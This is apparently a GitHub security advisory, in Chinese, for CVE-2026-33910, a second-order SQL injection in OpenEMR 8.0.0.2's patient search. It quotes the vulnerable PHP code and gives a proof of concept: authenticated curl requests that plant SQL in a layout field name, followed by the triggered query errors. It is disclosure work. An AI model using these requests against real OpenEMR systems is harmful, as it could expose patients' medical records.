ChrisSub08/CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2

GitHub: ChrisSub08/CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2

记录 OpenEMR 8.0.0.2 及更早版本中患者选择功能的二次 SQL 注入漏洞,含漏洞分析与复现 PoC。

Stars: 0 | Forks: 0

# CVE-2026-33910 - OpenEMR < 8.0.0.3 中的 SQL 注入漏洞 ### 摘要 OpenEMR 8.0.0.2 在患者选择功能中包含一个 SQL 注入漏洞,可被经过身份验证的攻击者利用。该漏洞的存在是由于患者选择功能中的输入验证不足。 ### 详情 该漏洞发生在患者选择功能中,数据库条目被直接拼接到 SQL 查询中,而没有经过适当的清理。这允许攻击者首先将 payload 插入数据库,从而注入恶意 SQL 代码。 该漏洞影响以下行: - [patient.inc.php 第 689 行](https://github.com/openemr/openemr/blob/28e76a3b0f09f0e9a42e28141fcab1e9ade13887/library/patient.inc.php#L689) ``` function getByPatientDemographics($searchTerm = "%", $given = "pid, id, lname, fname, mname, providerID, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS", $orderby = "lname ASC, fname ASC", $limit = "all", $start = "0") { $layoutCols = sqlStatement( "SELECT field_id FROM layout_options WHERE form_id = 'DEM' AND field_id not like ? AND uor != 0", ['em\_%'] ); $sqlBindArray = []; $where = ""; for ($iter = 0; $row = sqlFetchArray($layoutCols); $iter++) { if ($iter > 0) { $where .= " or "; } $where .= " " . add_escape_custom($row["field_id"]) . " like ? "; array_push($sqlBindArray, "%" . $searchTerm . "%"); } $sql = "SELECT $given FROM patient_data WHERE $where ORDER BY $orderby"; if ($limit != "all") { $sql .= " limit " . escape_limit($start) . ", " . escape_limit($limit); } $rez = sqlStatement($sql, $sqlBindArray); for ($iter = 0; $row = sqlFetchArray($rez); $iter++) { $returnval[$iter] = $row; } if (is_countable($returnval)) { _set_patient_inc_count($limit, count($returnval), $where, $sqlBindArray); } return $returnval; } ``` ``` SELECT * FROM patient_data WHERE like ? or like ? or like ? ... ``` ### PoC ``` ┌──(kali㉿kali)-[~] └─$ curl -X POST "http://172.18.0.3/interface/super/edit_layout.php" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: OpenEMR=76a6afd3b6a64035d8c3e1800eb5b5ac" --data-urlencode "formaction=addfield" --data-urlencode "layout_id=DEM" --data-urlencode "csrf_token_form=55a14465e41acbdbd4d88e80cad22083ef975b9c" --data-urlencode "newid=injection'payload" --data-urlencode "newtitle=Test Field" --data-urlencode "newdatatype=1" --data-urlencode "newfieldgroupid=1" --data-urlencode "newseq=1" --data-urlencode "newuor=1" --data-urlencode "newlengthWidth=255" --data-urlencode "newlengthHeight=1" --data-urlencode "newtitlecols=1" --data-urlencode "newdatacols=1" --data-urlencode "newdefault=" --data-urlencode "newcodes=" --data-urlencode "newdesc=Field created via curl" --data-urlencode "newmaxSize=255" --data-urlencode "newsource=" --data-urlencode "newlistid=" --data-urlencode "newbackuplistid="
There was an OpenEMR SQL Escaping ERROR of the following string injection'payload
┌──(kali㉿kali)-[~] └─$ curl -X POST "http://172.18.0.3/interface/super/edit_layout.php" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: OpenEMR=76a6afd3b6a64035d8c3e1800eb5b5ac" --data-urlencode "formaction=addfield" --data-urlencode "layout_id=DEM" --data-urlencode "csrf_token_form=55a14465e41acbdbd4d88e80cad22083ef975b9c" --data-urlencode "newid=1 OR 1=1" --data-urlencode "newtitle=Test Field" --data-urlencode "newdatatype=1" --data-urlencode "newfieldgroupid=1" --data-urlencode "newseq=1" --data-urlencode "newuor=1" --data-urlencode "newlengthWidth=255" --data-urlencode "newlengthHeight=1" --data-urlencode "newtitlecols=1" --data-urlencode "newdatacols=1" --data-urlencode "newdefault=" --data-urlencode "newcodes=" --data-urlencode "newdesc=Field created via curl" --data-urlencode "newmaxSize=255" --data-urlencode "newsource=" --data-urlencode "newlistid=" --data-urlencode "newbackuplistid="
There was an OpenEMR SQL Escaping ERROR of the following string 1 OR 1=1
┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=3e05a485cd972a80234bbf22bd94a9b7" 'http://172.18.0.3/interface/main/finder/patient_select.php?from_page=&report_id=0&csrf_token_form=f242b99731487d705ef38764ac86b8341940ffab&findBy=Any' ... SQL Statement failed on preparation: SELECT * FROM patient_data WHERE 1 OR 1=1 like ? or additional_addresses like ? or allow_health_info_ex like ? or allow_imm_info_share like ? or allow_imm_reg_use like ? or allow_patient_portal like ? or billing_note like ? or birth_fname like ? or birth_lname like ? or birth_mname like ? or care_team_facility like ? or care_team_provider like ? or care_team_status like ? or city like ? or cmsportal_login like ? or contact_relationship like ? or country_code like ? or county like ? or deceased_date like ? or deceased_reason like ? or DOB like ? or drivers_license like ? or email like ? or email_direct like ? or ethnicity like ? or family_size like ? or financial_review like ? or fname like ? or gender_identity like ? or genericname1 like ? or genericname2 like ? or genericval1 like ? or genericval2 like ? or guardianaddress like ? or guardiancity like ? or guardiancountry like ? or guardianemail like ? or guardianphone like ? or guardianpostalcode like ? or guardianrelationship like ? or guardiansex like ? or guardiansname like ? or guardianstate like ? or guardianworkphone like ? or hipaa_allowemail like ? or hipaa_allowsms like ? or hipaa_mail like ? or hipaa_message like ? or hipaa_notice like ? or hipaa_voice like ? or homeless like ? or imm_reg_status like ? or imm_reg_stat_effdate like ? or industry like ? or injection\'payload like ? or interpreter_needed like ? or interpretter like ? or language like ? or lname like ? or migrantseasonal like ? or mname like ? or monthly_income like ? or mothersname like ? or name_history like ? or nationality_country like ? or occupation like ? or patient_groups like ? or pharmacy_id like ? or phone_biz like ? or phone_cell like ? or phone_contact like ? or phone_home like ? or postal_code like ? or preferred_name like ? or prevent_portal_apps like ? or protect_indicator like ? or prot_indi_effdate like ? or providerID like ? or provider_since_date like ? or publicity_code like ? or publ_code_eff_date like ? or pubpid like ? or race like ? or referral_source like ? or ref_providerID like ? or related_persons like ? or religion like ? or sex like ? or sexual_orientation like ? or sex_identified like ? or ss like ? or state like ? or status like ? or street like ? or street_line_2 like ? or suffix like ? or title like ? or tribal_affiliations like ? or vfc like ? ORDER BY lname ASC, fname ASC limit 0, 100'

Query Error

ERROR: query failed: SELECT * FROM patient_data WHERE 1 OR 1=1 like ? or additional_addresses like ? or allow_health_info_ex like ? or allow_imm_info_share like ? or allow_imm_reg_use like ? or allow_patient_portal like ? or billing_note like ? or birth_fname like ? or birth_lname like ? or birth_mname like ? or care_team_facility like ? or care_team_provider like ? or care_team_status like ? or city like ? or cmsportal_login like ? or contact_relationship like ? or country_code like ? or county like ? or deceased_date like ? or deceased_reason like ? or DOB like ? or drivers_license like ? or email like ? or email_direct like ? or ethnicity like ? or family_size like ? or financial_review like ? or fname like ? or gender_identity like ? or genericname1 like ? or genericname2 like ? or genericval1 like ? or genericval2 like ? or guardianaddress like ? or guardiancity like ? or guardiancountry like ? or guardianemail like ? or guardianphone like ? or guardianpostalcode like ? or guardianrelationship like ? or guardiansex like ? or guardiansname like ? or guardianstate like ? or guardianworkphone like ? or hipaa_allowemail like ? or hipaa_allowsms like ? or hipaa_mail like ? or hipaa_message like ? or hipaa_notice like ? or hipaa_voice like ? or homeless like ? or imm_reg_status like ? or imm_reg_stat_effdate like ? or industry like ? or injection\'payload like ? or interpreter_needed like ? or interpretter like ? or language like ? or lname like ? or migrantseasonal like ? or mname like ? or monthly_income like ? or mothersname like ? or name_history like ? or nationality_country like ? or occupation like ? or patient_groups like ? or pharmacy_id like ? or phone_biz like ? or phone_cell like ? or phone_contact like ? or phone_home like ? or postal_code like ? or preferred_name like ? or prevent_portal_apps like ? or protect_indicator like ? or prot_indi_effdate like ? or providerID like ? or provider_since_date like ? or publicity_code like ? or publ_code_eff_date like ? or pubpid like ? or race like ? or referral_source like ? or ref_providerID like ? or related_persons like ? or religion like ? or sex like ? or sexual_orientation like ? or sex_identified like ? or ss like ? or state like ? or status like ? or street like ? or street_line_2 like ? or suffix like ? or title like ? or tribal_affiliations like ? or vfc like ? ORDER BY lname ASC, fname ASC limit 0, 100

Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\'payload like ? or interpreter_needed like ? or interpretter like ? or ...' at line 1


/var/www/localhost/htdocs/openemr/library/patient.inc.php at 685:sqlStatement
/var/www/localhost/htdocs/openemr/interface/main/finder/patient_select.php at 271:getByPatientDemographics(,*,lname ASC, fname ASC,100,0) ┌──(kali㉿kali)-[~] └─$ ``` ### 影响 - 未授权访问数据库信息 - 敏感医疗信息的潜在数据泄露 - 服务器端代码执行(在某些情况下) - 数据库受损 ### 漏洞修复流程 1. 评估并验证漏洞 2. 申请或分配 CVE ID 3. 创建私有 fork 或私有分支 4. 开发修复程序 5. 编写回归和安全测试 6. 准备发布说明和安全公告草稿 7. 发布修复程序(代码合并)并发布修补版本 8. 公开披露漏洞 ### 鸣谢 - 研究员:Christophe SUBLET - 组织:Grenoble INP - Esisar, UGA - 项目:CyberSkills, Orion ## 链接 https://www.cve.org/CVERecord?id=CVE-2026-33910 ## 许可证 本项目根据 MIT 许可证授权——有关详细信息,请参阅 LICENSE 文件。 请引用我们的论文:[https://github.com/ChrisSub08/CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2](https://github.com/ChrisSub08/CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2)
标签:CISA项目, CVE-2026-33910, OpenEMR, OpenVAS, PHP, Web安全, XSS, 不安全的直接对象引用, 医疗信息系统, 安全漏洞, 患者数据泄露, 数据隐私, 漏洞情报, 电子病历, 编程工具, 蓝队分析, 认证后漏洞, 输入验证缺失, 远程代码执行